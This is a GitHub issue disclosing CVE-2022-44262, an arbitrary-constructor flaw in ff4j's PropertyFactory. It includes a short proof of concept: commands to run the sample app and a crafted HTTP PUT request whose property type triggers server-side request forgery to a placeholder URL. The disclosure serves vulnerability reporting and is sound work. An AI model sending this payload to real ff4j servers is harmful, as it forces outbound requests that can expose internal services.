New issue

Jump to bottom

CVE-2022-44262 #624

Open **flowingair** opened this issue 3 days ago · 0 comments

flowingair commented 3 days ago

ff4j can be use to call any constructors in the project or jvm.
it would raise an error after constructor call and give an error in response.

```
File: https://github.com/ff4j/ff4j/blob/master/ff4j-core/src/main/java/org/ff4j/property/util/PropertyFactory.java
Function: public static Property<?> createProperty(String pName, String pType, String pValue, String desc, Set < String > fixedValues)
Line:163 and 164
```

proof of concept

run an envirement

```
git clone https://github.com/ff4j/ff4j-samples.git
cd spring-boot-2x/ff4j-sample-springboot2x
mvn spring-boot:run
```

send the request and trigger ssrf

```
PUT /api/ff4j/propertyStore/properties/test HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
accept: application/json
Content-Length: 111

{ "name": "test", "description": null, "type": "org.springframework.core.io.support.ResourcePropertySource", "value": "http://example/index.html"}
```

the url(http://example/index.html) will receive a request from the server.

flowingair mentioned this issue 3 days ago

Java: unreasonable flow github/codeql#10828

Open

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant